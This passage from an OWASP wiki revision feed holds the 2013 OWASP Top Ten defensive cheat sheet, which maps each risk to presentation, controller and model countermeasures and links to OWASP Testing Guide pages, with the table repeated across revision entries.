&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send indirect random access reference map value.&lt;br /&gt;
||Obtain data from internal, trusted sources.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
Obtain direct value from random access reference access map.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004) Testing for Insecure Direct Object References (OTG-AUTHZ-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion Testing for Local File Inclusion]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion Testing for Remote File Inclusion]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A5 Security Misconfiguration'''&lt;br /&gt;
||Ensure web servers and application servers are hardened.&lt;br /&gt;
&lt;br /&gt;
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension &lt;br /&gt;
||Ensure web servers and application servers are hardened &lt;br /&gt;
&lt;br /&gt;
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. &lt;br /&gt;
||Ensure database servers are hardened &lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008) Fingerprint Web Application Framework (OTG-INFO-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_(OTG-INFO-009) Fingerprint Web Application (OTG-INFO-009)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001) Test Network/Infrastructure Configuration (OTG-CONFIG-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Application_Platform_Configuration_(OTG-CONFIG-002) Test Application Platform Configuration (OTG-CONFIG-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005) Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006) Test HTTP Methods (OTG-CONFIG-006)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008) Test RIA cross domain policy (OTG-CONFIG-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) Analysis of Error Codes (OTG-ERR-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Stack_Traces_(OTG-ERR-002) Analysis of Stack Traces (OTG-ERR-002)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A6 Sensitive Data Exposure'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Use TLS 1.2 or later for all web communications.&lt;br /&gt;
*Buy extended validation (EV) certificates for public web servers.&lt;br /&gt;
&lt;br /&gt;
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Do not send keys or hashes to the browser.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: It is best to encrypt data on the application server, rather than the database server.''&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
&lt;br /&gt;
*Mandate strong encrypted communications with application servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being &amp;quot;encrypted&amp;quot; on disk. ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Padding_Oracle_(OTG-CRYPST-002) Testing for Padding Oracle (OTG-CRYPST-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003) Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007) Test HTTP Strict Transport Security (OTG-CONFIG-007)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A7 Missing Function Level Access Control'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Ensure all non-web data is outside the web root (logs, configuration, etc).&lt;br /&gt;
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.&lt;br /&gt;
*Ensure every page requires a role, even if it is &amp;quot;guest&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
''Pre-render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to view secured URL.&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
||&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform secured action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
&lt;br /&gt;
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: Assume attackers '''will''' learn where &amp;quot;hidden&amp;quot; directories and &amp;quot;random&amp;quot; filenames are, so do not store these files in the web root, even if they are not directly linked.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A8 Cross Site Request Forgery'''&lt;br /&gt;
||''Pre-render:''&lt;br /&gt;
*Validate user is authenticated&lt;br /&gt;
*Validate role is sufficient for this view&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
||&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate role is sufficient.&lt;br /&gt;
&lt;br /&gt;
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A9 Using Components with Known Vulnerabilities'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A10 Unvalidated Redirects and Forwards'''&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Use random indirect object references for redirection parameters.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
*Obtain direct redirection parameter from random indirect reference access map.&lt;br /&gt;
*(LR) Positive validation of redirection parameter.&lt;br /&gt;
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Andrew van der Stock vanderaj[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
Ismael Rocha Gonçalves ismaelrg[at]gmail.com&lt;br /&gt;
&lt;br /&gt;
Jorge Correa jacorream@gmail.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231992</id>
		<title>OWASP Top Ten Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231992"/>
				<updated>2017-08-02T23:26:38Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Cheat Sheet =&lt;br /&gt;
&lt;br /&gt;
{| border=1&lt;br /&gt;
| &lt;br /&gt;
||'''Presentation'''&lt;br /&gt;
||'''Controller'''&lt;br /&gt;
||'''Model'''&lt;br /&gt;
||'''Testing (OWASP Testing Guide V4)'''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A1 Injection'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set a correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation.&lt;br /&gt;
(LR) Sanitize input.&lt;br /&gt;
&lt;br /&gt;
''Tip: updating a negative list (such as looking for &amp;quot;script&amp;quot;, &amp;quot;sCrIpT&amp;quot;, &amp;quot;ßCrîpt&amp;quot;, etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of &amp;quot;bad&amp;quot; words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''&lt;br /&gt;
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''&lt;br /&gt;
&lt;br /&gt;
*Object relational model (Hibernate).&lt;br /&gt;
*Active Record design pattern.&lt;br /&gt;
*Stored procedures.&lt;br /&gt;
&lt;br /&gt;
*Escape mechanisms such as ESAPI's Encoder:&lt;br /&gt;
**EncodeForLDAP()&lt;br /&gt;
**Encoder.EncodeforOS()&lt;br /&gt;
&lt;br /&gt;
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for SQL Injection (OTG-INPVAL-005)]]&lt;br /&gt;
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]&lt;br /&gt;
* [[Testing for ORM Injection (OTG-INPVAL-007)]]&lt;br /&gt;
* [[Testing for XML Injection (OTG-INPVAL-008)]]&lt;br /&gt;
* [[Testing for SSI Injection (OTG-INPVAL-009)]]&lt;br /&gt;
* [[Testing for XPath Injection (OTG-INPVAL-010)]]&lt;br /&gt;
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]&lt;br /&gt;
* [[Testing for Code Injection (OTG-INPVAL-012)]]&lt;br /&gt;
* [[Testing for Command Injection (OTG-INPVAL-013)]]&lt;br /&gt;
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A2 Weak authentication and session management'''&lt;br /&gt;
||''Render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient for this view.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
*Send CSRF token with forms.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Only use inbuilt session management.&lt;br /&gt;
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.&lt;br /&gt;
&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
''Tip: Consider the use of a &amp;quot;governor&amp;quot; to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Role_Definitions_(OTG-IDENT-001) Test Role Definitions (OTG-IDENT-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_User_Registration_Process_(OTG-IDENT-002) Test User Registration Process (OTG-IDENT-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Account_Provisioning_Process_(OTG-IDENT-003) Test Account Provisioning Process (OTG-IDENT-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Account_Enumeration_and_Guessable_User_Account_(OTG-IDENT-004) Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_or_unenforced_username_policy_(OTG-IDENT-005) Testing for Weak or unenforced username policy (OTG-IDENT-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_default_credentials_(OTG-AUTHN-002) Testing for default credentials (OTG-AUTHN-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003) Testing for Weak lock out mechanism (OTG-AUTHN-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Vulnerable_Remember_Password_(OTG-AUTHN-005) Test remember password functionality (OTG-AUTHN-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006) Testing for Browser cache weakness (OTG-AUTHN-006)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_password_policy_(OTG-AUTHN-007) Testing for Weak password policy (OTG-AUTHN-007)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_security_question/answer_(OTG-AUTHN-008) Testing for Weak security question/answer (OTG-AUTHN-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_weak_password_change_or_reset_functionalities_(OTG-AUTHN-009) Testing for weak password change or reset functionalities (OTG-AUTHN-009)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weaker_authentication_in_alternative_channel_(OTG-AUTHN-010) Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003) Testing for Privilege Escalation (OTG-AUTHZ-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Session_Management_Schema_(OTG-SESS-001) Testing for Bypassing Session Management Schema (OTG-SESS-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002) Testing for Cookies attributes (OTG-SESS-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Session_Fixation_(OTG-SESS-003) Testing for Session Fixation (OTG-SESS-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005) Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_logout_functionality_(OTG-SESS-006) Testing for logout functionality (OTG-SESS-006)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Session_Timeout_(OTG-SESS-007) Test Session Timeout (OTG-SESS-007)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Session_puzzling_(OTG-SESS-008) Testing for Session puzzling (OTG-SESS-008)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A3 XSS'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
*Output encode all user data as per output context&lt;br /&gt;
*Set input constraints&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation &lt;br /&gt;
(LR) Sanitize input &lt;br /&gt;
&lt;br /&gt;
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''&lt;br /&gt;
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''&lt;br /&gt;
&lt;br /&gt;
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001) Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002) Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001) Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_JavaScript_Execution_(OTG-CLIENT-002) Testing for JavaScript Execution (OTG-CLIENT-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_HTML_Injection_(OTG-CLIENT-003) Testing for HTML Injection (OTG-CLIENT-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Cross_site_flashing_(OTG-CLIENT-008) Testing for Cross Site Flashing (OTG-CLIENT-008)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A4 Insecure Direct Object References'''&lt;br /&gt;
||If data is from internal trusted sources, no data is sent.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send indirect random access reference map value.&lt;br /&gt;
||Obtain data from internal, trusted sources.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
Obtain direct value from random access reference access map.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004) Testing for Insecure Direct Object References (OTG-AUTHZ-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion Testing for Local File Inclusion]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion Testing for Remote File Inclusion]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A5 Security Misconfiguration'''&lt;br /&gt;
||Ensure web servers and application servers are hardened.&lt;br /&gt;
&lt;br /&gt;
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension &lt;br /&gt;
||Ensure web servers and application servers are hardened &lt;br /&gt;
&lt;br /&gt;
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. &lt;br /&gt;
||Ensure database servers are hardened &lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008) Fingerprint Web Application Framework (OTG-INFO-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_(OTG-INFO-009) Fingerprint Web Application (OTG-INFO-009)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001) Test Network/Infrastructure Configuration (OTG-CONFIG-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Application_Platform_Configuration_(OTG-CONFIG-002) Test Application Platform Configuration (OTG-CONFIG-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005) Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006) Test HTTP Methods (OTG-CONFIG-006)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008) Test RIA cross domain policy (OTG-CONFIG-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) Analysis of Error Codes (OTG-ERR-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Stack_Traces_(OTG-ERR-002) Analysis of Stack Traces (OTG-ERR-002)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A6 Sensitive Data Exposure'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Use TLS 1.2 or later for all web communications.&lt;br /&gt;
*Buy extended validation (EV) certificates for public web servers.&lt;br /&gt;
&lt;br /&gt;
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Do not send keys or hashes to the browser.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: It is best to encrypt data on the application server, rather than the database server.''&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
&lt;br /&gt;
*Mandate strong encrypted communications with application servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being &amp;quot;encrypted&amp;quot; on disk. ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Padding_Oracle_(OTG-CRYPST-002) Testing for Padding Oracle (OTG-CRYPST-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003) Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007) Test HTTP Strict Transport Security (OTG-CONFIG-007)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A7 Missing Function Level Access Control'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Ensure all non-web data is outside the web root (logs, configuration, etc).&lt;br /&gt;
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.&lt;br /&gt;
*Ensure every page requires a role, even if it is &amp;quot;guest&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
''Pre-render:''&lt;br /&gt;
